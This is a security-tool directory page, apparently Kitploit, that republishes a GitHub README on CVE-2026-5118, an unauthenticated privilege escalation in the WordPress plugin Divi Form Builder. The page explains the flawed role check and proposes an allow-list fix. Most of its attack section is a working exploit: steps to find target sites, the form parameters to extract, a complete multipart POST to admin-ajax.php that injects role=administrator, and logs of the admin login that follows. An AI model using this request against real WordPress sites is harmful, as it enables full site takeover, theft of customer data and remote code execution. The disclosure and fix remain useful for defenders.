Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-5118 — CVE-2026-5118 | Divi फॉर्म बिल्डर <= 5.1.2 | भूमिका इंजेक्शन के माध्यम से बिना प्रमाणीकरण के विशेषाधिकार वृद्धि | Kitploit
उपकरण/GitHubGitHub/zycoder0day/cve-2026-5118
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi फॉर्म बिल्डर <= 5.1.2 | भूमिका इंजेक्शन के माध्यम से बिना प्रमाणीकरण के विशेषाधिकार वृद्धि

रिपॉजिटरी देखें
575 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — Unauthenticated Privilege Escalation


🎯 सारांश

वर्डप्रेस प्लगइन Divi Form Builder संस्करण 5.1.2 और पिछले में एक Critical भेद्यता है जो बिना प्रमाणीकरण के हमलावर को सीधे पंजीकरण फॉर्म के माध्यम से प्रशासक खाता बनाने की अनुमति देती है।

एक छिपा हुआ फ़ील्ड। एक बदला गया मान। पूरी वेबसाइट तक पूर्ण पहुंच।


🧨 हमलावर क्या कर सकता है?

क्षमताप्रभाव
🔑 बिना लॉगिन के एडमिन खाता बनाएंपूर्ण साइट अधिग्रहण
📦 WooCommerce ग्राहक डेटा तक पहुंचडेटा उल्लंघन
💉 प्लगइन/थीम फ़ाइलें संपादित करें (PHP)दूरस्थ कोड निष्पादन
🕳️ छिपा हुआ बैकडोर बनाएंस्थायी पहुंच
👥 सभी उपयोगकर्ता डेटा देखेंगोपनीयता उल्लंघन

🔬 भेद्यता विश्लेषण

भेद्यता का स्थान

includes/shared/handlers/FormSubmissionHandler.php → create_user()

कमजोर कोड

// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" langsung diterapkan

यह क्यों काम करता है?

                    ALUR VALIDASI YANG BERMASALAH
  ┌──────────────────────────────────────────────────────┐
  │  Penyerang kirim: role=administrator                │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (bersih)   │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE   │ ← BUG! Hanya cek ADA/TIDAK
  │                    ↓                                  │
  │  $user->set_role("administrator") → ADMIN PENUH!    │ ← PRIVESC!
  └──────────────────────────────────────────────────────┘

  "administrator" ADALAH role yang valid di WordPress,
  jadi validasi isset() SELALU return true.
  Fungsi ini TIDAK PERNAH menolak role berbahaya.

हमले का वेक्टर

DFB पंजीकरण फॉर्म में एक छिपा हुआ इनपुट होता है:

<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

🛠️ Proof of Concept — हमले की श्रृंखला

चरण 1: इंजीनियरिंग — लक्ष्य खोजें

[★] Target Discovery: Divi Form Builder indicator
    ├── Endpoint scan: 50+ path registrasi
    ├── Homepage link crawl: keyword priority
    ├── REST API: /wp-json/wp/v2/pages?search=register
    ├── Sitemap parsing: XML sitemap URLs
    ├── DFB REST API: /wp-json/divi-form-builder/v1
    ├── AJAX probe: de_fb_ajax_submit_ajax_handler
    ├── WooCommerce: /my-account/ sub-pages
    ├── robots.txt: custom sitemaps + disallow
    ├── Contact pages: DFB forms tersembunyi
    └── wp-json deep: content-first scan
    
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3

चरण 2: फॉर्म पैरामीटर निकालना

Parameter yang diperlukan:
  ├── fb_nonce:        [dari hidden input / de_fb_obj]
  ├── form_key:        [dari hidden input]
  ├── form_type:       register
  ├── divi-form-submit: yes
  └── role:            [INJEKSI: administrator]

Field pemetaan:
  ├── de_fb_user_login + user_login    (kedua varian wajib)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

चरण 3: भूमिका इंजेक्शन — विशेषाधिकार वृद्धि

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

चरण 4: सत्यापन — प्रशासक पहुंच

[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
    ├── Dashboard: /wp-admin/
    ├── Users:     Can create/delete any user
    ├── Plugins:   Can install/activate/edit PHP
    ├── Themes:    Can edit template files → RCE
    └── Settings:  Full site control

🧪 प्रयोगशाला सत्यापन

परीक्षण पृथक Docker वातावरण (WordPress 6.5 + DFB v5.0.0) में किया गया:

╔══════════════════════════════════════════════════════╗
║  LAB VERIFICATION RESULTS                              ║
╠══════════════════════════════════════════════════════╣
║  Method: AJAX (admin-ajax.php)                        ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Method: Form POST (direct submission)                 ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Status: ★ PWNED — Full Admin Access ★               ║
╚══════════════════════════════════════════════════════╝

🔧 अनुशंसित सुधार

समाधान: भूमिका पंजीकरण की अनुमति-सूची

// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Hanya cek ADA, bukan AMAN
}

// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Tolak semua role berbahaya
}

अतिरिक्त कदम

  1. role पैरामीटर को फ्रंटएंड फॉर्म से हटाएं — मौजूदा default_user_role का उपयोग करें
  2. AJAX हैंडलर पर सख्त nonce सत्यापन जोड़ें
  3. current_user_can('create_users') क्षमता जांच जोड़ें विशेष भूमिकाओं के लिए
  4. पंजीकरण एंडपॉइंट पर दर सीमा (Rate limiting) ब्रूट-फोर्स को रोकने के लिए

📊 समयरेखा

टूल डाउनलोड करें